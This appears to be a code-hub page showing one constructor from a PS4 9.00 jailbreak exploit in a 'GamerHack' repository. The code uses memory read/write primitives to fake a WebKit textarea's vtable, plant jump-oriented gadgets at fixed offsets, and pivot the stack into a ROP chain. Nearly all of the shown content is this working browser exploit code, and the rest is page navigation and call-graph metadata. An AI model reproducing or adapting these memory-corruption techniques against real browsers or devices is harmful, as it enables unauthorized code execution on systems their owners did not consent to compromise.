MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / constructor

Method constructor

g2all/900/rop/900.js:286–331  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

284// Chain for PS4 9.00
285export class Chain900 extends Chain900Base {
286 constructor() {
287 super();
288
289 const textarea = document.createElement('textarea');
290 this.textarea = textarea;
291 const js_ta = mem.addrof(textarea);
292 const webcore_ta = js_ta.readp(0x18);
293 this.webcore_ta = webcore_ta;
294 // Only offset 0x1c8 will be used when calling the scrollLeft getter
295 // native function (our tests don't crash).
296 //
297 // This implies we don't need to know the exact size of the vtable and
298 // try to copy it as much as possible to avoid a crash due to missing
299 // vtable entries.
300 //
301 // So the rest of the vtable are free for our use.
302 const vtable = new Uint8Array(0x200);
303 const old_vtable_p = webcore_ta.readp(0);
304 this.vtable = vtable;
305 this.old_vtable_p = old_vtable_p;
306
307 // 0x1b8 is the offset of the scrollLeft getter native function
308 rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
309 rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
310 rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3));
311
312 // for the JOP chain
313 const rax_ptrs = new Uint8Array(0x100);
314 const rax_ptrs_p = get_view_vector(rax_ptrs);
315 this.rax_ptrs = rax_ptrs;
316
317 rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
318 rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
319 rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
320 rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
321 // value to pivot rsp to
322 rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
323
324 const jop_buffer = new Uint8Array(8);
325 const jop_buffer_p = get_view_vector(jop_buffer);
326 this.jop_buffer = jop_buffer;
327
328 rw.write64(jop_buffer, 0, rax_ptrs_p);
329
330 rw.write64(vtable, 8, jop_buffer_p);
331 }
332
333 run() {
334 this.check_stale();

Callers

nothing calls this directly

Calls 5

get_view_vectorFunction · 0.90
addrofMethod · 0.45
readpMethod · 0.45
write64Method · 0.45
get_gadgetMethod · 0.45

Tested by

no test coverage detected